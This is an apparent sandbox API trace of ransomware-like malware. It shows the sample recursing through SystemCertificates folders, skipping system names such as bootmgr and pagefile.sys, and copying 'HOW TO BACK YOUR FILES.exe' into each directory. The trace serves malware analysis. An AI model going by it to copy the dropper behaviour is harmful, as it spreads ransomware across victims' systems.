	[0053.783] lstrcmpiW (lpString1="My", lpString2="ids.txt") returned 1
	[0053.783] lstrcmpiW (lpString1="My", lpString2="ntuser.dat") returned -1
	[0053.783] lstrcmpiW (lpString1="My", lpString2="perflogs") returned -1
	[0053.783] lstrcmpiW (lpString1="My", lpString2="MSBuild") returned 1
	[0053.783] lstrlenW (lpString="My") returned 2
	[0053.783] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*") returned 63
	[0053.783] lstrcpyW (in: lpString1=0x119e684, lpString2="My" | out: lpString1="My") returned="My"
	[0053.783] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7bc8
	[0053.783] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b90d8
	[0053.783] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7bd0 | out: ListHead=0x5b75f0, ListEntry=0x5b7bd0) returned 0x5b7b90
	[0053.783] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e3ec1f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e3ec1f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My", cAlternateFileName="")) returned 0
	[0053.783] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0053.783] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7bd0
	[0053.783] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My"
	[0053.783] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0053.783] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7bc8 | out: hHeap=0x580000) returned 1
	[0053.783] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My") returned 64
	[0053.783] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My"
	[0053.784] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0053.784] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0053.784] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0053.784] GetLastError () returned 0x0
	[0053.784] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0053.784] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0053.784] CloseHandle (hObject=0x14c) returned 1
	[0053.784] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0053.784] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0053.784] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e3ec1f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e3ec1f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0053.784] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.785] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0053.785] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0053.785] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e3ec1f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e3ec1f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.785] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.785] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0053.785] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0053.785] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0053.785] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e484770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e484770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Certificates", cAlternateFileName="CERTIF~1")) returned 1
	[0053.785] lstrcmpiW (lpString1="Certificates", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.785] lstrcmpiW (lpString1="Certificates", lpString2="Apollon865.txt.exe") returned 1
	[0053.785] lstrcmpiW (lpString1="Certificates", lpString2=".") returned 1
	[0053.785] lstrcmpiW (lpString1="Certificates", lpString2="..") returned 1
	[0053.785] lstrcmpiW (lpString1="Certificates", lpString2="windows") returned -1
	[0053.785] lstrcmpiW (lpString1="Certificates", lpString2="bootmgr") returned 1
	[0053.785] lstrcmpiW (lpString1="Certificates", lpString2="temp") returned -1
	[0053.785] lstrcmpiW (lpString1="Certificates", lpString2="pagefile.sys") returned -1
	[0053.785] lstrcmpiW (lpString1="Certificates", lpString2="boot") returned 1
	[0053.785] lstrcmpiW (lpString1="Certificates", lpString2="ids.txt") returned -1
	[0053.785] lstrcmpiW (lpString1="Certificates", lpString2="ntuser.dat") returned -1
	[0053.785] lstrcmpiW (lpString1="Certificates", lpString2="perflogs") returned -1
	[0053.785] lstrcmpiW (lpString1="Certificates", lpString2="MSBuild") returned -1
	[0053.785] lstrlenW (lpString="Certificates") returned 12
	[0053.785] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*") returned 66
	[0053.785] lstrcpyW (in: lpString1=0x119e68a, lpString2="Certificates" | out: lpString1="Certificates") returned="Certificates"
	[0053.785] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7bc8
	[0053.785] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9c) returned 0x5afa60
	[0053.785] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7bd0 | out: ListHead=0x5b75f0, ListEntry=0x5b7bd0) returned 0x5b7b90
	[0053.785] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e484770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e484770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CRLs", cAlternateFileName="")) returned 1
	[0053.785] lstrcmpiW (lpString1="CRLs", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.785] lstrcmpiW (lpString1="CRLs", lpString2="Apollon865.txt.exe") returned 1
	[0053.785] lstrcmpiW (lpString1="CRLs", lpString2=".") returned 1
	[0053.785] lstrcmpiW (lpString1="CRLs", lpString2="..") returned 1
	[0053.786] lstrcmpiW (lpString1="CRLs", lpString2="windows") returned -1
	[0053.786] lstrcmpiW (lpString1="CRLs", lpString2="bootmgr") returned 1
	[0053.786] lstrcmpiW (lpString1="CRLs", lpString2="temp") returned -1
	[0053.786] lstrcmpiW (lpString1="CRLs", lpString2="pagefile.sys") returned -1
	[0053.786] lstrcmpiW (lpString1="CRLs", lpString2="boot") returned 1
	[0053.786] lstrcmpiW (lpString1="CRLs", lpString2="ids.txt") returned -1
	[0053.786] lstrcmpiW (lpString1="CRLs", lpString2="ntuser.dat") returned -1
	[0053.786] lstrcmpiW (lpString1="CRLs", lpString2="perflogs") returned -1
	[0053.786] lstrcmpiW (lpString1="CRLs", lpString2="MSBuild") returned -1
	[0053.786] lstrlenW (lpString="CRLs") returned 4
	[0053.786] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates") returned 77
	[0053.786] lstrcpyW (in: lpString1=0x119e68a, lpString2="CRLs" | out: lpString1="CRLs") returned="CRLs"
	[0053.786] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0053.786] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8c) returned 0x5afb08
	[0053.786] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7ab0 | out: ListHead=0x5b75f0, ListEntry=0x5b7ab0) returned 0x5b7bd0
	[0053.786] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e412350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e412350, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CTLs", cAlternateFileName="")) returned 1
	[0053.786] lstrcmpiW (lpString1="CTLs", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.786] lstrcmpiW (lpString1="CTLs", lpString2="Apollon865.txt.exe") returned 1
	[0053.786] lstrcmpiW (lpString1="CTLs", lpString2=".") returned 1
	[0053.786] lstrcmpiW (lpString1="CTLs", lpString2="..") returned 1
	[0053.786] lstrcmpiW (lpString1="CTLs", lpString2="windows") returned -1
	[0053.786] lstrcmpiW (lpString1="CTLs", lpString2="bootmgr") returned 1
	[0053.786] lstrcmpiW (lpString1="CTLs", lpString2="temp") returned -1
	[0053.786] lstrcmpiW (lpString1="CTLs", lpString2="pagefile.sys") returned -1
	[0053.786] lstrcmpiW (lpString1="CTLs", lpString2="boot") returned 1
	[0053.786] lstrcmpiW (lpString1="CTLs", lpString2="ids.txt") returned -1
	[0053.786] lstrcmpiW (lpString1="CTLs", lpString2="ntuser.dat") returned -1
	[0053.786] lstrcmpiW (lpString1="CTLs", lpString2="perflogs") returned -1
	[0053.786] lstrcmpiW (lpString1="CTLs", lpString2="MSBuild") returned -1
	[0053.786] lstrlenW (lpString="CTLs") returned 4
	[0053.786] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs") returned 69
	[0053.786] lstrcpyW (in: lpString1=0x119e68a, lpString2="CTLs" | out: lpString1="CTLs") returned="CTLs"
	[0053.786] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0053.786] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8c) returned 0x5afba0
	[0053.787] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7c30 | out: ListHead=0x5b75f0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0053.787] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e3ec1f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e3ec1f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0053.787] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0053.787] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e3ec1f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e3ec1f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0053.787] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0053.787] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7c30
	[0053.787] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs"
	[0053.787] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afba0 | out: hHeap=0x580000) returned 1
	[0053.787] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0053.787] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs") returned 69
	[0053.787] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs"
	[0053.787] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0053.787] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\ctls\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0053.787] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0053.787] GetLastError () returned 0x0
	[0053.787] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0053.788] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0053.788] CloseHandle (hObject=0x14c) returned 1
	[0053.788] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0053.788] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0053.788] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e412350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e412350, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0053.788] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.788] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0053.788] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0053.788] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e412350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e412350, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.788] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.788] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0053.788] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0053.788] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0053.788] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e412350, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e412350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0053.788] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0053.788] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e412350, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e412350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0053.788] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0053.788] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7ab0
	[0053.788] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs"
	[0053.788] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afb08 | out: hHeap=0x580000) returned 1
	[0053.788] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0053.788] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs") returned 69
	[0053.788] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs"
	[0053.788] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0053.789] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\crls\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0053.789] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0053.789] GetLastError () returned 0x0
	[0053.789] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0053.789] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0053.789] CloseHandle (hObject=0x14c) returned 1
	[0053.789] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0053.789] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0053.789] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e484770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e484770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0053.790] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.790] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0053.790] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0053.790] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e484770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e484770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.790] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.790] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0053.790] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0053.790] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0053.790] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e484770, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e484770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0053.790] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0053.790] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e484770, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e484770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0053.790] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0053.790] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7bd0
	[0053.790] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates"
	[0053.790] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0053.790] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7bc8 | out: hHeap=0x580000) returned 1
	[0053.790] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates") returned 77
